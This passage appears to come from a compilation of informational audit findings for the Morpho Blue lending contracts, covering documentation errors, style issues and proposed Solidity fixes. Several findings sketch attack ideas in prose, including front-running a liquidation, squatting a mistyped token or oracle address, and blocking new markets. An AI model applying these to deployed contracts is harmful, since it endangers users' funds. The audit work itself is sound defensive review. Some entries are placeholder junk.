+This can be a problem for user that wants to authorize only one market and do not want to have bigger risk, but has more markets in use.
+In this case there is a risk for such user, that authorized address will interact with other markets on user's behalf, which is unacceptable for user.
+- Impact
+Authorized address can interact with all user's markets, while user would like to allow only specific one.
+- Recommended Mitigation Steps
+Make authorizations be linked to market id.
+
+
+
+### Attacker can prevent liquidation by frontrunning the tx
+
+**Severity:** Informational
+
+**Context:** [Morpho.sol#L380-L380](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L380-L380)
+
+**Description**:
+An attacker can cause the liquidation tx to revert by paying off some of their debt such that `borrowShares < repaidShares`. That will cause the subtraction in line 380 to revert.
+
+You'd generally expect the liquidator to pay off as much as possible. That'll make the attack inexpensive because you'll need to repay a very small amount.
+
+To prevent that, the liquidator could use a private mempool to submit their tx.
+
+**Recommendation**:
+If `repaidShares > borrowShares` just update the parameter: `repaidShares = borrowShares`. That way the tx will never revert.
+
+
+
+### An enabled broken or malicious IRM can never be disabled
+
+**Severity:** Informational
+
+**Context:** [Morpho.sol#L104-L104](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L104-L104)
+
+**Description**:
+
+The enableIrm() function currently enables an IRM address for users to deploy new markets, but lacks a corresponding functionality for the owner to disable an IRM. This absence of a disabling mechanism could pose challenges if an IRM becomes compromised or malfunctions. In such scenarios, the owner should have the ability to prevent users from deploying new markets using the compromised or malicious IRM.
+
+**Recommendation**:
+
+To address this issue, it is recommended to enhance the enableIrm() functionality, allowing the owner to invalidate an IRM's eligibility for market creation. This can be achieved by modifying the function as follows:
+
+```solidity
+/// @inheritdoc IMorphoBase
+function changeIrmState(address irm, bool newValue) external onlyOwner {
+ require(isIrmEnabled[irm] != newValue, ErrorsLib.ALREADY_SET);
+
+ isIrmEnabled[irm] = newValue;
+
+ emit EventsLib.changeIrmState(irm, newValue);
+}
+```
+
+Enabling the owner to change the state of an IRM provides a valuable tool for addressing potential issues. Concerns about malicious owners utilizing this capability to disrupt existing markets are unfounded, as the IRM's validity is only checked during market creation. Existing markets will continue to function normally, and the added functionality empowers the owner to prevent the creation of new markets using compromised or malfunctioning IRMs.
+
+
+
+### Zero address check can be moved to a modifier
+
+**Severity:** Informational
+
+**Context:** [Morpho.sol#L76-L76](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L76-L76), [Morpho.sol#L176-L176](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L176-L176), [Morpho.sol#L207-L207](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L207-L207), [Morpho.sol#L242-L242](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L242-L242), [Morpho.sol#L276-L276](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L276-L276), [Morpho.sol#L306-L306](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L306-L306), [Morpho.sol#L326-L326](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L326-L326)
+
+**Description**:
+
+In the Morpho blue protocol, there are multiple instances where the code checks if an address passed as a parameter is equal to address(0). This check is repeated seven times within the Morpho contract, leading to code redundancy.
+
+**Recommendation**:
+
+To enhance code readability and maintainability, it is suggested to consolidate this check into a modifier. The proposed modifier is as follows:
+
+```solidity
+/// @dev reverts if the passed address is zero
+modifier noZeroAddress(address _address) {
+ require(_address != address(0), ErrorsLib.ZERO_ADDRESS);
+ _;
+}
+```
+
+This modifier can then replace the repeated checks at lines 76, 95, 183, 214, 249, 283, 313, and 333. By adopting this approach, the code becomes more concise, reducing the likelihood of errors and making future modifications more straightforward.[](url)
+
+
+
+### Incorrect comment for event Borrow
+
+**Severity:** Informational
+
+**Context:** [EventsLib.sol#L64-L64](morpho-org-morpho-blue-f463e40/src/libraries/EventsLib.sol#L64-L64)
+
+**Description**:
+
+The Borrow event is utilized to signal that a user has borrowed from a market. However, the NatSpec documentation, found in the comments above the event, inaccurately states: "/// @param onBehalf The address from which the assets were borrowed." This misleadingly implies that the assets were borrowed from the supplied address, while, in reality, they were borrowed from the Morpho contract's address (address(this)).
+
+**Recommendation**:
+
+To rectify this discrepancy, it is advisable to revise the comment to accurately reflect the borrowing scenario. The corrected comment should read: "/// @param onBehalf The address that borrowed the assets." This adjustment ensures clarity and aligns the documentation with the actual behavior of the Borrow event.
+
+
+
+### Incorrect documentation of event SupplyCollateral
+
+**Severity:** Informational
+
+**Context:** [EventsLib.sol#L88-L88](morpho-org-morpho-blue-f463e40/src/libraries/EventsLib.sol#L88-L88)
+
+**Description**:
+
+The NatSpec documentation for the SupplyCollateral event mentions: "/// @param onBehalf The address that received the collateral." This statement inaccurately suggests that the collateral was sent to the provided address. In reality, the collateral was sent to the address of the Morpho contract, and this parameter signifies the user to whom the collateral was credited.
+
+**Recommendation**:
+
+To address this discrepancy, it is advisable to modify the comment for clarity. The revised comment should read: "/// @param onBehalf The address that the collateral was credited to." This adjustment ensures that the documentation accurately represents the flow of collateral in the SupplyCollateral event.
+
+
+
+### Incorrect documentation of event WithdrawCollateral
+
+**Severity:** Informational
+
+**Context:** [EventsLib.sol#L95-L95](morpho-org-morpho-blue-f463e40/src/libraries/EventsLib.sol#L95-L95)
+
+**Description:**
+
+The NatSpec documentation for the WithdrawCollateral event mentions: "@param onBehalf The address from which the collateral was withdrawn." This statement inaccurately suggests that the collateral was withdrawn to the provided address. In reality, the collateral was withdrawn to the address of the Morpho contract, and this parameter signifies the user whom's credited collateral was reduced.
+
+**Recommendation:**
+
+To address this discrepancy, it is advisable to modify the comment for clarity. The revised comment should read: "/// @param onBehalf The address that's credited collateral was reduced." This adjustment ensures that the documentation accurately represents the flow of collateral in the WithdrawCollateral event.
+
+
+
+### Event IncrementNonce should be renamed
+
+**Severity:** Informational
+
+**Context:** [EventsLib.sol#L139-L139](morpho-org-morpho-blue-f463e40/src/libraries/EventsLib.sol#L139-L139)
+
+**Description**:
+The `EventsLib` includes the event `IncrementNonce`, utilized when an authorization is granted through a signature. The current name of the event accurately states that the nonce was incremented, but it fails to convey the essential information that an authorization was indeed granted.
+
+**Recommendation**:
+To rectify this issue and enhance clarity, it is advisable to rename the event. A more descriptive name, such as `AuthorizationGrantedWithSignature`, would better encapsulate the event's purpose and provide a more accurate representation of the action performed. This adjustment aligns the event name more closely with the actual operation of granting authorization through a signature.
+
+
+
+### Inconsistent zero address validation
+
+**Severity:** Informational
+
+**Context:** [Morpho.sol#L95-L95](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L95-L95)
+
+**Description:**
+The functions `setOwner()`, `enableIrm()` and `setFeeRecipient()` do not include a zero address check. While the constructor validates and prevents setting zero address as owner, the `setOwner()` function lacks similar checks and is inconsistent.
+
+**Recommendations:**
+Add a zero address check to avoid a misconfigured update.
+
+
+
+### Function order does not follow Solidity Style Guide
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+The existing codebase does not adhere to the recommended order of functions as outlined in the [Solidity Style Guide](https://docs.soliditylang.org/en/v0.8.20/style-guide.html#order-of-functions). The guide suggests grouping functions based on their visibility (e.g., external, public, internal, private) and ordering them accordingly: constructor, receive, fallback, external, public, internal, private.
+
+**Recommendation**:
+To address this issue, it is advisable to reorder the functions in the codebase following the Solidity Style Guide. This will enhance code readability and maintain consistency with widely accepted coding conventions.
+
+
+
+### DOMAIN_SEPARATOR reuse leads to signature collisions across chain forks
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+The `Morpho` contract provides the ability to open, supply, lend and liquidate markets. DOMAIN_SEPARATOR, presumably present to provide distinction across different chains is used in authorization to ensure uniqueness across multiple chains when providing 3rd party authorization requests. This functionality can be seen on `Line 440` of the `setAuthorizationWithSig()` function.
+
+DOMAIN_SEPARATOR is provided in the constructor, with no possibility of recalculating thus allowing for valid signatures to be spent across multiple chains after a chain fork event has occurred.
+
+**Recommendation**:
+Provide the ability to recalculate DOMAIN_SEPARATOR if chain forks occur.
+
+
+
+### Lack of support for rebasing tokens can cause the Morpho contract to lock or lose value
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+The Morpho contract relies heavily on virtual balances of addresses stored locally. Addresses who supplied loan or collateral tokens are entitled to redeem no more than what they provided plus the interest earned (if any). This can create a problem with rebasing tokens where holders' balances inflate naturally over time.
+
+The permissionless nature of the protocol, as well as a lack of token whitelisting, exposes users to a loss in the value of their collateral or loan token. As a side note, staking ERC-20s are a popular example of a rebasing token used as collateral.
+
+**Recommendation**:
+Consider adding support to rebasing tokens by creating dedicated contracts per market or allowing only the creation of markets involving whitelisted tokens.
+
+
+
+### Wrong health check and liquidation behaviour for different oracles
+
+**Severity:** Informational
+
+**Context:** [ConstantsLib.sol#L8-L8](morpho-org-morpho-blue-f463e40/src/libraries/ConstantsLib.sol#L8-L8), [Morpho.sol#L371-L371](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L371-L371), [Morpho.sol#L376-L376](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L376-L376), [Morpho.sol#L521-L521](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L521-L521)
+
+**Description**: When a MorphoBlue market is created, an oracle is set to query the price of the collateral in terms of the loaned assets. According to the whitepaper, any oracle can be used, for example Chainlink, Uniswap or another one.
+
+However, the MorphoBlue protocol has hardcoded the precision of the returned value of the oracle to 36. This is a big problem because many oracles work with different precision.
+
+If the precision is a low number the impact can be detrimental. The **_isHealthy** check will return true even when the borrower should have been liquidated long ago.
+
+If the precision is a higher number, the borrower will be liquidated earlier than expected.
+
+A quite possible scenario is that a user will create a MorphoMarket with a different decimals oracle without knowing about this bug. Then, as the liquidity becomes deeper and deeper, the vulnerability will be exploited and either the lender or the borrower will be harmed.
+
+**Recommendation**:
+
+Add a mapping
+```solidity
+mapping (Id marketId => uint256 oraclePrecision) oraclePrecisions;
+```
+
+When creating a new market, query the oracle for its precision and populate the mapping accordingly. Then use this value of the mapping instead of ORACLE_PRICE_SCALE.
+
+
+
+### setFee documentation does not explain what's the unit of the input fee
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+The `Morpho.setFee` documentation does not explain what's the unit of the input fee:
+
+> Sets the `newFee` for the given market `marketParams`.
+> Warning: The recipient can be the zero address.
+
+**Recommendation**:
+Add an explanation i.e. with an example that 0.01e18 is 1% and the max is 0.25e18 or 25%
+
+
+
+### Documentation states incorrect formula for Liquidation Incentive
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+The Morpho Blue [documentation](https://morpho-labs.notion.site/Morpho-Blue-Documentation-Hub-External-00ff8194791045deb522821be46abbdc) inaccurately presents the formula for the liquidation incentive as `LI = min(M,1/(beta*LLTV+(1-beta)) -1`. However, the actual implemented formula is `min(maxLiquidationIncentiveFactor, 1/(1 - cursor*(1 - lltv)))`. Furthermore, the maxLiquidationIncentiveFactor is specified as 0.2 in the example, while in the code it is set to 1.15.
+
+**Recommendation**:
+
+To address this inconsistency, it is recommended to update the documentation to accurately reflect the implemented functionality in the code. This ensures clarity and avoids potential confusion for users referring to the documentation.
+
+
+
+### LIV can be calculated once at market creation
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+The Morpho protocol uses the LIV (Liquidation Incentive Factor) to calculate how highly users will be incentivized to liquidate unhealthy markets. This LIV is calculated based upon the llv (which is set once per market and can never be changed) as well as the constants `LIQUIDATION_CURSOR` and `MAX_LIQUIDATION_INCENTIVE_FACTOR`. Currently, the LIV is newly calculated each time a user calls `liquidate()`. This leads to unnecessary complexity in the calculation, as the LIV can be precalculated at market creation and then reused for each `liquidate()` call.
+
+**Recommendation**:
+
+To improve efficiency, adapt the implementation to calculate the LIV in the `createMarket()` function. Additionally, introduce a mapping that associates LIV values with market IDs. This mapping can be queried when a user calls `liquidate()`, providing a precomputed LIV for the specified market. This optimization reduces redundant calculations and enhances gas efficiency during liquidation calls.
+
+
+
+### unaccured interest is sent to `newFeeRecipient` when `setFeeRecipient()` is invoked
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+During the transition of the `feeRecipient` in the `setFeeRecipient()` function. When a new `feeRecipient` is set, the `_accrueInterest` function should be invoked within the `setFeeRecipient()`.
+
+Failure to do so may result in the transfer of accrued shares, accumulated until the last claim, to the new `feeRecipient`. I assume since the owners are trusted, this shouldnot be an issue.
+
+To mitigate this risk, include a call to `_accrueInterest()` within the `setFeeRecipient` function immediately after updating the `feeRecipient`. This adjustment ensures that any accrued interest is accurately calculated and transferred to the old feeRecipient, maintaining the integrity of the fee distribution system and preventing unintended share transfers during ownership changes.
+
+**Sample Fix:**
+```
+ /// @inheritdoc IMorphoBase
+ function setFeeRecipient(address newFeeRecipient) external onlyOwner {
+ require(newFeeRecipient != feeRecipient, ErrorsLib.ALREADY_SET);
+
+ //accureInterest for all the open markets
+
+ feeRecipient = newFeeRecipient;
+
+ emit EventsLib.SetFeeRecipient(newFeeRecipient);
+ }
+```
+
+
+
+### Decommissioned Oracle contracts place morpho markets in unrecoverable state
+
+**Severity:** Informational
+
+**Context:** [Morpho.sol#L504-L504](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L504-L504)
+
+- Please note: this same issue was submitted in the periphery contest. In reality the main problem with this issue is in the periphery, however this contract doesn't enforce the use of this periphery (a hugely contestable claim tho by the sponsor)... but I didn't want other contest submissions milking the contest points.
+
+- Description
+
+This contract uses a constructor for allocating specific price feed to the oracle. Price feeds that are safe and functional today are not guaranteed for stability, security and integrity. A price feed that is functional today may not be in operation at a later date. Morpho related periphery and market contracts depending on this Oracle contract will be broken if feeds are decommissioned, turned hostile or subject to multisig manipulation.
+
+
+- Recommendation
+
+Provide the capability to change the price feeds. If it isn't expected behaviour that a specific person should be able to change the oracle, this could be done under certain conditions either an oracle health check is performed, an owner or governance contract is allowed to add a new feed to adjust the oracle contract.
+
+
+
+
+
+### Overwritten
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Overwritten.
+
+
+
+### `MorphoBalancesLib.sol` lacks special method to get expected `totalBorrowShares`
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+There are totally 4 variables of market state. MorphoBalancesLib implements getters for all of them except `totalBorrowShares`:
+```solidity
+ /// @notice Returns the expected total supply assets of a market after having accrued interest.
+ function expectedTotalSupplyAssets(IMorpho morpho, MarketParams memory marketParams)
+ internal
+ view
+ returns (uint256 totalSupplyAssets)
+ {
+ (totalSupplyAssets,,,) = expectedMarketBalances(morpho, marketParams);
+ }
+
+ /// @notice Returns the expected total borrow assets of a market after having accrued interest.
+ function expectedTotalBorrowAssets(IMorpho morpho, MarketParams memory marketParams)
+ internal
+ view
+ returns (uint256 totalBorrowAssets)
+ {
+ (,, totalBorrowAssets,) = expectedMarketBalances(morpho, marketParams);
+ }
+
+ /// @notice Returns the expected total supply shares of a market after having accrued interest.
+ function expectedTotalSupplyShares(IMorpho morpho, MarketParams memory marketParams)
+ internal
+ view
+ returns (uint256 totalSupplyShares)
+ {
+ (, totalSupplyShares,,) = expectedMarketBalances(morpho, marketParams);
+ }
+```
+
+**Recommendation**:
+
+Consider adding getter for `totalBorrowShares`:
+```diff
++ function expectedTotalBorrowShares(IMorpho morpho, MarketParams memory marketParams)
++ internal
++ view
++ returns (uint256 totalBorrowShares)
++ {
++ (,,, totalBorrowShares) = expectedMarketBalances(morpho, marketParams);
++ }
+
+
+
+### testeeeqwd
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+test
+
+
+
+### MAX_LIQUIDATION_INCENTIVE_FACTOR is the wrong value
+
+**Severity:** Informational
+
+**Context:** [Morpho.sol#L365-L365](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L365-L365)
+
+- Summary
+Described in the docs `MAX_LIQUIDATION_INCENTIVE_FACTOR` should have the value of 1.20, however in the current code it's value is hard-coded to 1.15.
+
+- Proof of concept
+In the docs currently M (`MAX_LIQUIDATION_INCENTIVE_FACTOR` in the code) is 0.20
+
+> The Liquidation Incentive (LI) depends on the LLTV of the market, according to the following formula: $LI = min(M, \frac{1}{\beta*LLTV+(1-\beta)} -1)$, with $\beta = 0.3$ and $M= 0.20$ (parameters are still being refined, but this is the order of magnitude).
+
+However in the current state of the code the value `MAX_LIQUIDATION_INCENTIVE_FACTOR` (M) is hard-coded to 1.15, Where it should have been 1.20. This slight discrepancy reduces the the maximum profit a liquidator can get. It is not a major issue, however it may be annoying and costing some profits to the liquidators. Especially in more volatile markets,as currently markets with 0.7 and above collectivization ratio can't achieve values bigger than 1.15. However volatile market can stay near that value easily!
+This can be show in Desmos graph [here](https://www.desmos.com/calculator/jd5t2kwu8r).
+
+
+
+
+### Potential Wasting or Burning of Fees if feeRecipient Is Set to Zero Address
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+The identified improvement suggests adding a check in the `setFeeRecipient` function to ensure that the new fee recipient address is not the zero address (`address(0)`). While the existing `onlyOwner` modifier ensures that only the owner can call the function, it doesn't prevent the owner from setting the fee recipient to zero. If `feeRecipient` is set to the zero address, fees could be unintentionally wasted or burned during the `_accrueInterest` function.
+
+**Vulnerability Details**
+
+The `setFeeRecipient` function lacks a check for the zero address, potentially leading to unintentional burning of fees if the owner mistakenly sets the fee recipient to the zero address.
+
+**Impact**
+
+Unrestricted setting of `feeRecipient` to the zero address may result in unintentional fee burning, affecting the intended distribution of fees in the **Morpho** protocol.
+
+**Tools used**
+
+- Manual review
+
+**Recommendation**:
+
+By incorporating the suggested check, the updated function becomes more robust, reducing the risk of unintended behavior. The modified version includes:
+
+```solidity
+function setFeeRecipient(address newFeeRecipient) external onlyOwner {
+ require(newFeeRecipient != address(0), ErrorsLib.INVALID_ADDRESS); // add this line for check
+ require(newFeeRecipient != feeRecipient, ErrorsLib.ALREADY_SET);
+
+ feeRecipient = newFeeRecipient;
+
+ emit EventsLib.SetFeeRecipient(newFeeRecipient);
+}
+```
+
+This defensive programming practice enhances the security and reliability of the contract, providing an additional layer of protection against potential mistakes or errors by the owner.
+
+**Relevant GitHub Links**
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L139
+
+
+
+### Add Inline comments for unnamed return parameters
+
+**Severity:** Informational
+
+**Context:** [IIrm.sol#L13-L13](morpho-org-morpho-blue-f463e40/src/interfaces/IIrm.sol#L13-L13), [IIrm.sol#L17-L17](morpho-org-morpho-blue-f463e40/src/interfaces/IIrm.sol#L17-L17), [IOracle.sol#L14-L14](morpho-org-morpho-blue-f463e40/src/interfaces/IOracle.sol#L14-L14), [MathLib.sol#L12-L12](morpho-org-morpho-blue-f463e40/src/libraries/MathLib.sol#L12-L12), [MathLib.sol#L17-L17](morpho-org-morpho-blue-f463e40/src/libraries/MathLib.sol#L17-L17), [MathLib.sol#L22-L22](morpho-org-morpho-blue-f463e40/src/libraries/MathLib.sol#L22-L22), [MathLib.sol#L27-L27](morpho-org-morpho-blue-f463e40/src/libraries/MathLib.sol#L27-L27), [MathLib.sol#L32-L32](morpho-org-morpho-blue-f463e40/src/libraries/MathLib.sol#L32-L32), [MathLib.sol#L38-L38](morpho-org-morpho-blue-f463e40/src/libraries/MathLib.sol#L38-L38), [SharesMathLib.sol#L24-L24](morpho-org-morpho-blue-f463e40/src/libraries/SharesMathLib.sol#L24-L24), [SharesMathLib.sol#L29-L29](morpho-org-morpho-blue-f463e40/src/libraries/SharesMathLib.sol#L29-L29), [SharesMathLib.sol#L34-L34](morpho-org-morpho-blue-f463e40/src/libraries/SharesMathLib.sol#L34-L34), [SharesMathLib.sol#L39-L39](morpho-org-morpho-blue-f463e40/src/libraries/SharesMathLib.sol#L39-L39), [UtilsLib.sol#L27-L27](morpho-org-morpho-blue-f463e40/src/libraries/UtilsLib.sol#L27-L27), [Morpho.sol#L172-L172](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L172-L172), [Morpho.sol#L203-L203](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L203-L203), [Morpho.sol#L238-L238](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L238-L238), [Morpho.sol#L272-L272](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L272-L272), [Morpho.sol#L350-L350](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L350-L350), [Morpho.sol#L501-L501](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L501-L501), [Morpho.sol#L516-L516](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L516-L516), [Morpho.sol#L530-L530](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L530-L530)
+
+**Description**:
+
+The functions inside the Morpho code often include unnamed return parameters. This practice can reduce code readability. To enhance clarity, it is recommended to use inline comments for unnamed return parameters.
+
+**Recommendation**:
+
+Adapt the code by adding inline comments for unnamed return parameters. For example:
+
+```solidity
+returns (uint256, address)
+```
+
+can be updated to:
+
+```solidity
+returns (uint256 /* a */, address /* b */)
+```
+
+This adjustment improves code documentation and makes it easier for developers to understand the purpose of each return value.
+
+
+
+### Use delete instead of setting variables to zero
+
+**Severity:** Informational
+
+**Context:** [Morpho.sol#L397-L397](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L397-L397)
+
+**Description**:
+
+In the implemented code, values are sometimes set back to zero. Instead of setting a value to zero, it is recommended to use the `delete` function for better code understandability.
+
+**Recommendation**:
+
+Replace instances where variables are set to zero (`variable = 0`) with the `delete` function, like `delete variable`. This adjustment enhances the clarity of the code and aligns with best practices.
+
+
+
+### Missing check
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+There is no check at market creation time on the addresses of the collateral token, the lending token and the oracle. This exposes the platform to a malicious scenario:
+
+1. a non-malicious user creates a market, but when doing so, they mistakenly set one of the addresses to a wrong one
+2. a malicious attacker, noticing they have the possibility to deploy a contract to that address, creates a fake token/oracle, and has now an economic advantage on the pool, where they can perform all sorts of malicious activities, including price manipulations and token steals/freezes, based on the address they have under control.
+
+The attack is not extremely severe, as the user can always create a new market and the wrongly created one might not get a lot of funds in; however, if the user is late to realize what has happened, a relevant amount of funds that have ended up in the pool can be frozen/stolen.
+
+It would be better to at least implement a check that the addresses specified represent contracts at market creation time. A check on external code size, albeit not representing a 100% safe solution, would still represent a much safer scenario for the whole platform.
+
+
+
+### Checks-effects pattern violation
+
+**Severity:** Informational
+
+**Context:** [Morpho.sol#L494-L494](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L494-L494)
+
+Generally preferable to not update storage after emitting events according to checks-effects pattern.
+Unless there is a specific reason it is recommended to put the event emit after storage update.
+
+
+
+### Named mappings should be used
+
+**Severity:** Informational
+
+**Context:** [Morpho.sol#L58-L58](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L58-L58), [Morpho.sol#L60-L60](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L60-L60), [Morpho.sol#L62-L62](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L62-L62), [Morpho.sol#L64-L64](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L64-L64), [Morpho.sol#L66-L66](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L66-L66), [Morpho.sol#L68-L68](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L68-L68), [Morpho.sol#L70-L70](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L70-L70)
+
+**Description**:
+
+The code utilizes mappings for various variables. To enhance code readability, it is advisable to use named mappings. If named mappings are not preferred, adding inline comments can still improve code readability.
+
+**Recommendation**:
+
+To address this issue, it is recommended to incorporate named mappings. An example would be:
+
+```solidity
+mapping(Id => mapping(address => Position)) public position;
+
+// change to
+
+mapping(Id marketId => mapping(address user => Position userPosition)) public position;
+```
+
+This adjustment improves the clarity of the code and makes it more understandable for developers.
+
+
+
+### Repeated check would better be suited to be a modifier
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+The check "require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);" is repeated nine times in the contract Morpho.sol. It would make much cleaner and readable code if this was set as a modifier, like "marketExists".
+
+
+
+### Constants Usage Without Library Declaration, Namespace Conflicts and Readability Impact
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Severity**
+
+INFORMATIONAL
+
+**Relevant GitHub Links**
+
+https://github.com/morpho-org/morpho-blue/blob/main/src/libraries/ConstantsLib.sol
+
+**Summary**
+
+The constants are defined without being encapsulated in a library, which may lead to potential namespace conflicts and could impact code readability. This design choice may result in unintended variable shadowing and reduced clarity, making the codebase more prone to errors.
+
+**Vulnerability Details**
+
+Constants are defined without proper library encapsulation, potentially leading to namespace conflicts and decreased code readability.
+
+**Impact**
+
+Increased risk of namespace conflicts and reduced code clarity, potentially leading to unintended consequences in contract interactions
+
+**Tools used**
+
+- Manual review
+
+**Recommendations**
+
+Wrap the constants in a library to avoid potential naming conflicts and improve code organization. Use the library in contracts to enhance clarity.
+
+Code Fix:
+```solidity
+// SPDX-License-Identifier: GPL-2.0-or-later
+pragma solidity ^0.8.0;
+
+library ConstantsLib {
+ /// @dev The maximum fee a market can have (25%).
+ uint256 constant MAX_FEE = 0.25e18;
+
+ /// @dev Oracle price scale.
+ uint256 constant ORACLE_PRICE_SCALE = 1e36;
+
+ /// @dev Liquidation cursor.
+ uint256 constant LIQUIDATION_CURSOR = 0.3e18;
+
+ /// @dev Max liquidation incentive factor.
+ uint256 constant MAX_LIQUIDATION_INCENTIVE_FACTOR = 1.15e18;
+
+ /// @dev The EIP-712 typeHash for EIP712Domain.
+ bytes32 constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(uint256 chainId,address verifyingContract)");
+
+ /// @dev The EIP-712 typeHash for Authorization.
+ bytes32 constant AUTHORIZATION_TYPEHASH =
+ keccak256("Authorization(address authorizer,address authorized,bool isAuthorized,uint256 nonce,uint256 deadline)");
+}
+
+// Example usage in a contract:
+// import { ConstantsLib } from "./ConstantsLib.sol";
+//
+// contract MyContract {
+// using ConstantsLib for *;
+// // Access constants like MAX_FEE as ConstantsLib.MAX_FEE
+// }
+```
+
+This recommendation involves creating a library to encapsulate the constants, ensuring a cleaner and more maintainable code structure. The library can then be imported and used in contracts as needed.
+
+
+
+### Implicit Type Conversion in Timestamp Calculation
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Severity**
+
+INFORMATIONAL / LOW
+
+**Relevant GitHub Links**
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoBalancesLib.sol#L42
+
+**Summary**
+
+The key concern is the implicit type conversion when subtracting `block.timestamp` (of type `uint256`) from `market.lastUpdate` (of type `uint128`). This results in the `elapsed` variable being of type `uint256`, and downstream calculations may behave unexpectedly due to this type difference. This situation could lead to unintended behavior or a loss of precision.
+
+**Vulnerability Details**
+
+Implicit type conversion in timestamp calculation may lead to unintended behavior or precision loss in downstream calculations
+
+**Impact**
+
+Potential loss of precision or unintended behavior in downstream calculations due to implicit type conversion in elapsed time calculation
+
+**Tools used**
+
+- Manual review
+
+**Recommendations**
+
+Just cast `market[id].lastUpdate` using uint256 as done below:
+
+```solidity
+// Change this line
+uint256 elapsed = block.timestamp - market.lastUpdate;
+
+// To
+uint256 elapsed = block.timestamp - uint256(market[id].lastUpdate);
+```
+
+This modification ensures that both sides of the subtraction operation are of the same type `(uint256)`, avoiding implicit type conversions and potential issues in downstream calculations.
+
+
+
+
+
+
+
+
+
+### No preview function for borrowers
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+There are wo types of users in the protocol: lenders, who provide assets and got shares for it, and borrowers who should provide some collateral to be able to get a loan of assets.
+
+Right now a borrower should call `supplyCollateral()` first to allocate his tokens in the protocol and after that he can call `borrow()`.
+
+The problem is that it's not clear how much collateral user has to provide to get a loan. Borrower's collateral may be not enough to get a loan of a specific amount of assets from the first time. So he will have to call `supplyCollateral()` again and again.
+
+Consider providing a preview function for borrowers to calculate how much collateral he has to provide to get a needed amount of loan.
+
+
+
+### can I delete findings?
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+can I delete findings?
+
+edit: apparently not
+
+only withdraw
+
+
+
+### `MorphoBalancesLib` misses a function that returns the total borrow shares
+
+**Severity:** Informational
+
+**Context:** [MorphoBalancesLib.sol#L83-L83](morpho-org-morpho-blue-f463e40/src/libraries/periphery/MorphoBalancesLib.sol#L83-L83)
+
+`MorphoBalancesLib` misses a function that returns the total borrow shares. Currently, there's no way to conveniently read this data, they must go through the raw storage slot reads.
+
+Consider adding an `expectedTotalBorrowShares` function, similar to `expectedTotalSupplyShares`
+
+
+
+### Markets can be DOSed upon creation by inflating `totalBorrowShares`
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Context:**
+- [SharesMathLib.sol](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SharesMathLib.sol)
+- [Morpho.sol#L281](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L281)
+
+**Description:**
+
+When markets are created, the ratio of shares to assets is `1e6`, which means that borrowing `1` asset mints `1e6` shares. This is due to `VIRTUAL_SHARES` and `VIRTUAL_ASSETS`:
+
+```solidity
+/// @dev The number of virtual shares has been chosen low enough to prevent overflows, and high enough to ensure
+/// high precision computations.
+uint256 internal constant VIRTUAL_SHARES = 1e6;
+
+/// @dev A number of virtual assets of 1 enforces a conversion rate between shares and assets when a market is
+/// empty.
